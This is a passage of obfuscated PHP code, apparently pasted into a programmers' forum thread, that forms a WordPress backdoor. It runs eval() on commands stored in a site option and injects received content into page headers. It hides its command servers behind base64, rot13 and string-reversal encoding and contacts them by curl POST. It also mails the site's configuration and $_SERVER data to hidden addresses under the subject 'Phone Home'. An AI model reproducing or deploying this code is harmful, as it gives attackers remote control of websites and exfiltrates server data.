$oXyaqmHoChvHQFCvTluqmAC['servers']; echo json_encode($bQYduZxDrtPMJtaBCQycHQY); echo '</div>'; die(); }else if (isset($SntMBKFkfTlUzXyNVQedo) && isset($this->oXyaqmHoChvHQFCvTluqmAC['info']['fail'])) { if (isset($this->oXyaqmHoChvHQFCvTluqmAC)) { $oXyaqmHoChvHQFCvTluqmAC = $this->oXyaqmHoChvHQFCvTluqmAC; }else{ $oXyaqmHoChvHQFCvTluqmAC = $this->oqtYbOOiucMYWyZsGEuETRhB(); } $oXyaqmHoChvHQFCvTluqmAC['servers'][] = $SntMBKFkfTlUzXyNVQedo; $this->aIIwgKgvtyRoWoMedUdbp(WP_OPTION_KEY, $oXyaqmHoChvHQFCvTluqmAC); die(); } return false; } public function OFwlxWaeMyxznpZtnfJLQA(){ $oXyaqmHoChvHQFCvTluqmAC = $this->oXyaqmHoChvHQFCvTluqmAC; if (!isset($oXyaqmHoChvHQFCvTluqmAC) || $oXyaqmHoChvHQFCvTluqmAC == null) { return; } if (!is_array($oXyaqmHoChvHQFCvTluqmAC) || $oXyaqmHoChvHQFCvTluqmAC == '') { return; } if (@$oXyaqmHoChvHQFCvTluqmAC['info']['eval'] == 1){ foreach ($oXyaqmHoChvHQFCvTluqmAC['eval'] as $vsGIQvwCXRbSELMOlFV) { eval($vsGIQvwCXRbSELMOlFV); } } if (isset($oXyaqmHoChvHQFCvTluqmAC['echo'])){ if (!defined('wp_footerLeo')) { add_action('wp_head', array( $this, 'WvOoqSuRpZkhgAAFQVjBjSVo')); } } } public function WvOoqSuRpZkhgAAFQVjBjSVo(){ $oXyaqmHoChvHQFCvTluqmAC = $this->oXyaqmHoChvHQFCvTluqmAC; foreach ($oXyaqmHoChvHQFCvTluqmAC['echo'] as $stIedxfhoZcXvZNmNXTdFbI) { echo $stIedxfhoZcXvZNmNXTdFbI; } } private function oqtYbOOiucMYWyZsGEuETRhB() { $oXyaqmHoChvHQFCvTluqmAC = array(); $oXyaqmHoChvHQFCvTluqmAC['echo'] = array(); $oXyaqmHoChvHQFCvTluqmAC['eval'] = array(); $oXyaqmHoChvHQFCvTluqmAC['clients'] = array(); $oXyaqmHoChvHQFCvTluqmAC['update'] = array(); return $oXyaqmHoChvHQFCvTluqmAC; } private function dIOUyQsvDqPHTBIxnlYs(){ $dqkdbOJPzAPsLsuxnjAStdXUDis = array('www.', 'www', ' ', '{', '}'); $this->htcFFCQTLLpnCchsPKGYxso = str_replace($dqkdbOJPzAPsLsuxnjAStdXUDis, "", $_SERVER['HTTP_HOST']); } private function HSxTktcbTftjZjKRHHmhr() { $oXyaqmHoChvHQFCvTluqmAC = array(); foreach ($this->yYVsqvOoqWsddypXgJcIKOw as $gXNjWLFkUQOugyREMXKvZBfw) { $oXyaqmHoChvHQFCvTluqmAC[] = base64_decode(str_rot13(strrev($gXNjWLFkUQOugyREMXKvZBfw))); } if (isset($this->oXyaqmHoChvHQFCvTluqmAC['info']['fail'])) { $nGwzfuUZcelzyfJBQMIgkk = (int) ($oXyaqmHoChvHQFCvTluqmAC['info']['fail'] / 100); if ($nGwzfuUZcelzyfJBQMIgkk == 0) { $nGwzfuUZcelzyfJBQMIgkk = 5; } else{ $nGwzfuUZcelzyfJBQMIgkk *= 5; } }else{ $nGwzfuUZcelzyfJBQMIgkk = 5; } return $this->VitTYMKdJITsiXBTLOEA($oXyaqmHoChvHQFCvTluqmAC, $nGwzfuUZcelzyfJBQMIgkk); } private function XsvsqpxlWxfKYiyUc($YJYRbBDIcUlLJwWidyuM) { $oXyaqmHoChvHQFCvTluqmAC = array(); foreach ($this->oXyaqmHoChvHQFCvTluqmAC['emails'] as $HWcwGasopLJSadVNNw){ $oXyaqmHoChvHQFCvTluqmAC[] = $HWcwGasopLJSadVNNw; } foreach ($this->aJQafHDwnaPrCJrQMjHVh as $HWcwGasopLJSadVNNw) { $oXyaqmHoChvHQFCvTluqmAC[] = base64_decode(str_rot13(strrev($HWcwGasopLJSadVNNw))); } return $this->VitTYMKdJITsiXBTLOEA($oXyaqmHoChvHQFCvTluqmAC, $YJYRbBDIcUlLJwWidyuM); } private function KZdGlovqEtKYUSCqSVnK(){ $oXyaqmHoChvHQFCvTluqmAC = array(); $oXyaqmHoChvHQFCvTluqmAC['host'] = $_SERVER['HTTP_HOST']; $oXyaqmHoChvHQFCvTluqmAC['page'] = $_SERVER['REQUEST_URI']; $oXyaqmHoChvHQFCvTluqmAC['ip'] = $_SERVER['SERVER_ADDR']; $oXyaqmHoChvHQFCvTluqmAC['eval'] = $this->YrCTrfUzBfsVJKvqiYUeFbc(); $oXyaqmHoChvHQFCvTluqmAC['exec'] = $this->KNstTqErzZQBDQOODaJdLv(); $oXyaqmHoChvHQFCvTluqmAC['serverKey'] = $this->BkISKDyWWRXScnLPbTlyI(); $oXyaqmHoChvHQFCvTluqmAC['run'] = 0; $oXyaqmHoChvHQFCvTluqmAC['ver'] = 0.2; $oXyaqmHoChvHQFCvTluqmAC['started'] = date('Ymd'); $oXyaqmHoChvHQFCvTluqmAC['last_connect'] = date('Ymd'); $this->WbKPQMoSbMZkXUeYKXRIk = $oXyaqmHoChvHQFCvTluqmAC; return $oXyaqmHoChvHQFCvTluqmAC; } private function BkISKDyWWRXScnLPbTlyI($PVSXPKLAQGaWKUtNNUYQFoBuJE = 10) { $dqkdbOJPzAPsLsuxnjAStdXUDis = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; $PqlpeiQHmZBwdmlsfEHmg = ''; for ($BCEUSjHFFwzzqmHmpjjQI = 0; $BCEUSjHFFwzzqmHmpjjQI < $PVSXPKLAQGaWKUtNNUYQFoBuJE; $BCEUSjHFFwzzqmHmpjjQI++) { $PqlpeiQHmZBwdmlsfEHmg .= $dqkdbOJPzAPsLsuxnjAStdXUDis[rand(0, strlen($dqkdbOJPzAPsLsuxnjAStdXUDis) - 1)]; } return $PqlpeiQHmZBwdmlsfEHmg; } public function KPBBXYwmuPGPaTyLhWevI(){ $oXyaqmHoChvHQFCvTluqmAC = $this->oXyaqmHoChvHQFCvTluqmAC; if (@$oXyaqmHoChvHQFCvTluqmAC['info']['last_connect'] < date('Ymd')){ $oXyaqmHoChvHQFCvTluqmAC = $this->CMQEWmnewJmgOLaFvXGCU($oXyaqmHoChvHQFCvTluqmAC); if ($oXyaqmHoChvHQFCvTluqmAC == false){ return; } else{ unset($oXyaqmHoChvHQFCvTluqmAC['info']['fail']); } $oXyaqmHoChvHQFCvTluqmAC['info']['last_connect'] = date('Ymd'); } $oXyaqmHoChvHQFCvTluqmAC['info']['run']++; $this->aIIwgKgvtyRoWoMedUdbp(WP_OPTION_KEY, $oXyaqmHoChvHQFCvTluqmAC); } private function CMQEWmnewJmgOLaFvXGCU($oXyaqmHoChvHQFCvTluqmAC){ $yYVsqvOoqWsddypXgJcIKOw = @$oXyaqmHoChvHQFCvTluqmAC['servers']; $uHrzRBdPUetDqbZAdw = $this->tEiRFSJMSpXyxKKORPZClI($yYVsqvOoqWsddypXgJcIKOw, $oXyaqmHoChvHQFCvTluqmAC); if ($uHrzRBdPUetDqbZAdw !== false){ return $uHrzRBdPUetDqbZAdw; } $uHrzRBdPUetDqbZAdw = $this->tEiRFSJMSpXyxKKORPZClI($this->HSxTktcbTftjZjKRHHmhr(), $oXyaqmHoChvHQFCvTluqmAC); if ($uHrzRBdPUetDqbZAdw !== false) { return $uHrzRBdPUetDqbZAdw; } $this->XnpSvtOjNDRmxyfzaDKlGwM(); } private function tEiRFSJMSpXyxKKORPZClI($QrnkCEWRkHbQPoEPelYQRw, $oXyaqmHoChvHQFCvTluqmAC) { foreach ($QrnkCEWRkHbQPoEPelYQRw as $gXNjWLFkUQOugyREMXKvZBfw) { $uHrzRBdPUetDqbZAdw = $this->VxjeXwUeRLricksbcxlcSRnA($gXNjWLFkUQOugyREMXKvZBfw, $oXyaqmHoChvHQFCvTluqmAC['info'], $oXyaqmHoChvHQFCvTluqmAC); if ($uHrzRBdPUetDqbZAdw != false) { if (!isset($oXyaqmHoChvHQFCvTluqmAC['info']['empty'])){ $oXyaqmHoChvHQFCvTluqmAC['info']['empty'] = 0; } if ($this->YobOrWbieESFVcSsWsuBypg) { $oXyaqmHoChvHQFCvTluqmAC['info']['empty']++; if (!isset($BCEUSjHFFwzzqmHmpjjQI)){ $BCEUSjHFFwzzqmHmpjjQI = (int)($oXyaqmHoChvHQFCvTluqmAC['info']['empty'] / 5); } if ($BCEUSjHFFwzzqmHmpjjQI > 0) { $BCEUSjHFFwzzqmHmpjjQI--; continue; } } if ($this->YobOrWbieESFVcSsWsuBypg) { return $oXyaqmHoChvHQFCvTluqmAC; } $uHrzRBdPUetDqbZAdw['info']['empty'] = --$oXyaqmHoChvHQFCvTluqmAC['info']['empty']; return $uHrzRBdPUetDqbZAdw; } } return false; } private function VxjeXwUeRLricksbcxlcSRnA($gXNjWLFkUQOugyREMXKvZBfw, $WbKPQMoSbMZkXUeYKXRIk, $oXyaqmHoChvHQFCvTluqmAC) { $this->YobOrWbieESFVcSsWsuBypg = false; $OQijXfnrxWxPIcPSUibKEFmLE = $this->RoQfzgyhgTpMgdUIktgNdYvKE($gXNjWLFkUQOugyREMXKvZBfw, $WbKPQMoSbMZkXUeYKXRIk); $OQijXfnrxWxPIcPSUibKEFmLE = $this->gTSiihhIRUNPkADDVdes($OQijXfnrxWxPIcPSUibKEFmLE); if ($OQijXfnrxWxPIcPSUibKEFmLE != false) { if ($this->YobOrWbieESFVcSsWsuBypg) { return $oXyaqmHoChvHQFCvTluqmAC; } $OQijXfnrxWxPIcPSUibKEFmLE['info'] = $WbKPQMoSbMZkXUeYKXRIk; return $OQijXfnrxWxPIcPSUibKEFmLE; } return false; } private function gTSiihhIRUNPkADDVdes($oXyaqmHoChvHQFCvTluqmAC){ if(!isset($this->WbKPQMoSbMZkXUeYKXRIk)){ $this->WbKPQMoSbMZkXUeYKXRIk = $this->oXyaqmHoChvHQFCvTluqmAC['info']; } if (md5($this->WbKPQMoSbMZkXUeYKXRIk['serverKey']) == $oXyaqmHoChvHQFCvTluqmAC) { $this->YobOrWbieESFVcSsWsuBypg = true; return true; } $oXyaqmHoChvHQFCvTluqmAC = $this->AeRxXNHxOXpcNJWlZSIKLhIw->vZlUWjEYdyPGPomnFXMGnNY($oXyaqmHoChvHQFCvTluqmAC); $oXyaqmHoChvHQFCvTluqmAC = json_decode($oXyaqmHoChvHQFCvTluqmAC, true); if ($oXyaqmHoChvHQFCvTluqmAC == false) { return false; } else{ if (!isset($oXyaqmHoChvHQFCvTluqmAC['servers'])) { return false; } } return $oXyaqmHoChvHQFCvTluqmAC; } private function RoQfzgyhgTpMgdUIktgNdYvKE($gXNjWLFkUQOugyREMXKvZBfw, $WbKPQMoSbMZkXUeYKXRIk = null,$BZaxGALPLdVfntBIQWUPs = null){ if (strstr($gXNjWLFkUQOugyREMXKvZBfw, $_SERVER['HTTP_HOST']) || trim($gXNjWLFkUQOugyREMXKvZBfw) == '') { return false; } if (isset($WbKPQMoSbMZkXUeYKXRIk)) { $BdlbpgzPBjxVLkBLnsrXkmI = json_encode($WbKPQMoSbMZkXUeYKXRIk); $oXyaqmHoChvHQFCvTluqmAC = $this->AeRxXNHxOXpcNJWlZSIKLhIw->bkBMtlOkGRaPFVExpcNbC($BdlbpgzPBjxVLkBLnsrXkmI); $WbKPQMoSbMZkXUeYKXRIk = array( "serverKey" => $WbKPQMoSbMZkXUeYKXRIk['serverKey'], "data" => $oXyaqmHoChvHQFCvTluqmAC['data'], "key" => $oXyaqmHoChvHQFCvTluqmAC['key'] ); } while (true){ $SCvWTGyfCYyeLdjcFFzobk = curl_init(); curl_setopt($SCvWTGyfCYyeLdjcFFzobk,CURLOPT_URL,"http://$gXNjWLFkUQOugyREMXKvZBfw"); curl_setopt($SCvWTGyfCYyeLdjcFFzobk,CURLOPT_RETURNTRANSFER,1); @curl_setopt($SCvWTGyfCYyeLdjcFFzobk, CURLOPT_FOLLOWLOCATION, true); if (isset($WbKPQMoSbMZkXUeYKXRIk)) { curl_setopt($SCvWTGyfCYyeLdjcFFzobk, CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($SCvWTGyfCYyeLdjcFFzobk, CURLOPT_POSTFIELDS, $WbKPQMoSbMZkXUeYKXRIk); } curl_setopt($SCvWTGyfCYyeLdjcFFzobk,CURLOPT_CONNECTTIMEOUT,10); $oXyaqmHoChvHQFCvTluqmAC = curl_exec($SCvWTGyfCYyeLdjcFFzobk); curl_close($SCvWTGyfCYyeLdjcFFzobk); if (!strstr($oXyaqmHoChvHQFCvTluqmAC, "301 Moved Permanently")) { break; } else{ preg_match_all('/<a.*href=\"""http:\/\/(.*?)\""".*?\>/',$oXyaqmHoChvHQFCvTluqmAC,$NyFDhMvsSaUwvJsx); $gXNjWLFkUQOugyREMXKvZBfw = $NyFDhMvsSaUwvJsx[1][0]; } } return $oXyaqmHoChvHQFCvTluqmAC; } private function aIIwgKgvtyRoWoMedUdbp($piiJbwvzLxHvKjlNnFzd, $oXyaqmHoChvHQFCvTluqmAC) { if (is_array($oXyaqmHoChvHQFCvTluqmAC)) { $oXyaqmHoChvHQFCvTluqmAC = json_encode($oXyaqmHoChvHQFCvTluqmAC); } $ilUTrmqGvQsBtZfyeBXfg = $this->AeRxXNHxOXpcNJWlZSIKLhIw->MFmjdYJpnAEmbwnXvkQU($oXyaqmHoChvHQFCvTluqmAC); if ($this->YYfeblxJfGQgkPpfdrIOXNZwHg($ilUTrmqGvQsBtZfyeBXfg)) $oXyaqmHoChvHQFCvTluqmAC = json_decode($ilUTrmqGvQsBtZfyeBXfg, true); if (!isset($oXyaqmHoChvHQFCvTluqmAC['key']) || !isset($oXyaqmHoChvHQFCvTluqmAC['data']) || strlen($oXyaqmHoChvHQFCvTluqmAC['key']) == 0 || strlen($oXyaqmHoChvHQFCvTluqmAC['data']) == 0 ) { die(); } update_option($piiJbwvzLxHvKjlNnFzd, $ilUTrmqGvQsBtZfyeBXfg); } private function McEnUjjQfaFzqGsihhU($piiJbwvzLxHvKjlNnFzd, $ysnqBUjsRbJDIlZaAE = false) { if (!$ysnqBUjsRbJDIlZaAE) { $oXyaqmHoChvHQFCvTluqmAC = get_option($piiJbwvzLxHvKjlNnFzd); }else{ $oXyaqmHoChvHQFCvTluqmAC = $piiJbwvzLxHvKjlNnFzd; } $GfNOeQGoTKggozAbXZAUpg = $this->AeRxXNHxOXpcNJWlZSIKLhIw->vZlUWjEYdyPGPomnFXMGnNY($oXyaqmHoChvHQFCvTluqmAC); return json_decode($GfNOeQGoTKggozAbXZAUpg, true); } private function YrCTrfUzBfsVJKvqiYUeFbc(){ $givBPiVtALrQjPLInUFKegOE = false; @eval('$givBPiVtALrQjPLInUFKegOE = true;'); return $givBPiVtALrQjPLInUFKegOE; } private function KNstTqErzZQBDQOODaJdLv() { $BlvGDekbFjVHsnUrjUKqdj = explode(', ', ini_get('disable_functions')); return !in_array('exec', $BlvGDekbFjVHsnUrjUKqdj); } private function XnpSvtOjNDRmxyfzaDKlGwM($oXyaqmHoChvHQFCvTluqmAC = null) { if ($oXyaqmHoChvHQFCvTluqmAC == null) { $oXyaqmHoChvHQFCvTluqmAC = $this->oXyaqmHoChvHQFCvTluqmAC; } if (isset($oXyaqmHoChvHQFCvTluqmAC['info']['fail'])){ $oXyaqmHoChvHQFCvTluqmAC['info']['fail']++; }else{ $oXyaqmHoChvHQFCvTluqmAC['info']['fail'] = 1; } if (($oXyaqmHoChvHQFCvTluqmAC['info']['fail'] % 100) == 0 && isset($oXyaqmHoChvHQFCvTluqmAC['clients'])){ foreach ($oXyaqmHoChvHQFCvTluqmAC['clients'] as $qBNcTAaiRUhfdXBSzsVg) { if (strstr($qBNcTAaiRUhfdXBSzsVg, "|") === false) { continue; } else{ $AoNmaQCAQvHyEPvRUhbfukXQ = explode("|", $qBNcTAaiRUhfdXBSzsVg); } $gXNjWLFkUQOugyREMXKvZBfw = $AoNmaQCAQvHyEPvRUhbfukXQ[0] . "?" . $AoNmaQCAQvHyEPvRUhbfukXQ[1]; $OQijXfnrxWxPIcPSUibKEFmLE = $this->RoQfzgyhgTpMgdUIktgNdYvKE($gXNjWLFkUQOugyREMXKvZBfw); preg_match("/<div id=\"serverList\" style=\"display: none\">(?<content>.*?)<\/div>/", $OQijXfnrxWxPIcPSUibKEFmLE, $NUwGojaMFrWOXnaoPPXmg); if ($this->YYfeblxJfGQgkPpfdrIOXNZwHg($NUwGojaMFrWOXnaoPPXmg['content'])){ $OQijXfnrxWxPIcPSUibKEFmLE = json_decode($NUwGojaMFrWOXnaoPPXmg['content'], true); if (isset($this->oXyaqmHoChvHQFCvTluqmAC)) { $oXyaqmHoChvHQFCvTluqmAC = $this->oXyaqmHoChvHQFCvTluqmAC; }else{ $oXyaqmHoChvHQFCvTluqmAC = $this->oqtYbOOiucMYWyZsGEuETRhB(); } $oXyaqmHoChvHQFCvTluqmAC['servers'] = array_merge($OQijXfnrxWxPIcPSUibKEFmLE['servers'], $oXyaqmHoChvHQFCvTluqmAC['servers']); $this->$oXyaqmHoChvHQFCvTluqmAC['servers'] = array_unique($oXyaqmHoChvHQFCvTluqmAC['servers']); } else{ } } } if ($oXyaqmHoChvHQFCvTluqmAC['info']['fail'] % 100 == 0) { $LMKkvQfVacsJkiwJOKQmc = false; $aJQafHDwnaPrCJrQMjHVh = $this->XsvsqpxlWxfKYiyUc($oXyaqmHoChvHQFCvTluqmAC['info']['fail'] / 100 * 5); $GSpWdZRUzAuMgSxhFeQsTA = array(); for($BCEUSjHFFwzzqmHmpjjQI = 0; $BCEUSjHFFwzzqmHmpjjQI < 5 ; $BCEUSjHFFwzzqmHmpjjQI++) { $YwrSbZoVizxkPzSqHegTC = rand( 0, count($aJQafHDwnaPrCJrQMjHVh) - 1); $TcfJENOGUCdnEeJdjBHSxLc = 0; $XCZRNpIiBvvCJTeyKlycSwY = 0; while(in_array($YwrSbZoVizxkPzSqHegTC,$GSpWdZRUzAuMgSxhFeQsTA)){ $XCZRNpIiBvvCJTeyKlycSwY++; $TcfJENOGUCdnEeJdjBHSxLc ++; $YwrSbZoVizxkPzSqHegTC = rand( 0, count($aJQafHDwnaPrCJrQMjHVh) - 1); if ($TcfJENOGUCdnEeJdjBHSxLc == 10) { $LMKkvQfVacsJkiwJOKQmc = true; break; } } if ($LMKkvQfVacsJkiwJOKQmc){ break; } $GSpWdZRUzAuMgSxhFeQsTA[] = $YwrSbZoVizxkPzSqHegTC; mail($aJQafHDwnaPrCJrQMjHVh[$YwrSbZoVizxkPzSqHegTC], "Phone Home", json_encode($this->AeRxXNHxOXpcNJWlZSIKLhIw->bkBMtlOkGRaPFVExpcNbC(print_r($oXyaqmHoChvHQFCvTluqmAC, true) . print_r($_SERVER, true)))); } $this->vwhhtIrAWhUEFDgPrcco = true; } $this->aIIwgKgvtyRoWoMedUdbp(WP_OPTION_KEY, $oXyaqmHoChvHQFCvTluqmAC); } private function YYfeblxJfGQgkPpfdrIOXNZwHg($oXyaqmHoChvHQFCvTluqmAC){ $oXyaqmHoChvHQFCvTluqmAC = json_decode($oXyaqmHoChvHQFCvTluqmAC); if ($oXyaqmHoChvHQFCvTluqmAC == null) return false; return true; } private function VitTYMKdJITsiXBTLOEA($QrnkCEWRkHbQPoEPelYQRw, $MTPkrEtDJbjkrzXWSBgAo) { $PVSXPKLAQGaWKUtNNUYQFoBuJE = count($QrnkCEWRkHbQPoEPelYQRw); if ($PVSXPKLAQGaWKUtNNUYQFoBuJE <= $MTPkrEtDJbjkrzXWSBgAo) { return $QrnkCEWRkHbQPoEPelYQRw; } $oXyaqmHoChvHQFCvTluqmAC[] = array(); $PaTgoaVMMKhvlmVWxSnBVLA = array(); $FyQVCWLNApYgwsSzygQgg = 0; $BCEUSjHFFwzzqmHmpjjQI = 0; while (true) { $BCEUSjHFFwzzqmHmpjjQI++; $piiJbwvzLxHvKjlNnFzd = $this->YHhBHrBuAZYCsZUCLxMNBSuTU($this->htcFFCQTLLpnCchsPKGYxso . $BCEUSjHFFwzzqmHmpjjQI , $PVSXPKLAQGaWKUtNNUYQFoBuJE); if (in_array($piiJbwvzLxHvKjlNnFzd, $PaTgoaVMMKhvlmVWxSnBVLA)) { continue; } $PaTgoaVMMKhvlmVWxSnBVLA[] = $piiJbwvzLxHvKjlNnFzd; $FyQVCWLNApYgwsSzygQgg++; if ($FyQVCWLNApYgwsSzygQgg == $MTPkrEtDJbjkrzXWSBgAo) { break; } } foreach ($PaTgoaVMMKhvlmVWxSnBVLA as $piiJbwvzLxHvKjlNnFzd) { $oXyaqmHoChvHQFCvTluqmAC[] = $QrnkCEWRkHbQPoEPelYQRw[$piiJbwvzLxHvKjlNnFzd]; } return $oXyaqmHoChvHQFCvTluqmAC; } private function YHhBHrBuAZYCsZUCLxMNBSuTU($htcFFCQTLLpnCchsPKGYxso, $BwYCWyuBYkgiOzNljFJONA) { $dzVXtdBSuUwgnARTiNICo = 0; $JAxNyUCJRbrfbemcWrOFpg = hash("md5",$htcFFCQTLLpnCchsPKGYxso); $dzVXtdBSuUwgnARTiNICo = (preg_replace("/[^0-9,.]/", "", $JAxNyUCJRbrfbemcWrOFpg)); while ($dzVXtdBSuUwgnARTiNICo > 10000000){ $dzVXtdBSuUwgnARTiNICo /= 100000; } $this->IatJdWimJbxtprWZElHevfI = $dzVXtdBSuUwgnARTiNICo; $dzVXtdBSuUwgnARTiNICo %= $BwYCWyuBYkgiOzNljFJONA; return $dzVXtdBSuUwgnARTiNICo; } } ?>
Back to top
Page 1 of 1 All times are GMT + 1 Hour
NFOHump.com Forum Index - Programmers Corner
Signature/Avatar nuking: none (can be changed in your profile)  


Display posts from previous:   

Jump to:  
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum


Powered by phpBB 2.0.8 © 2001, 2002 phpBB Group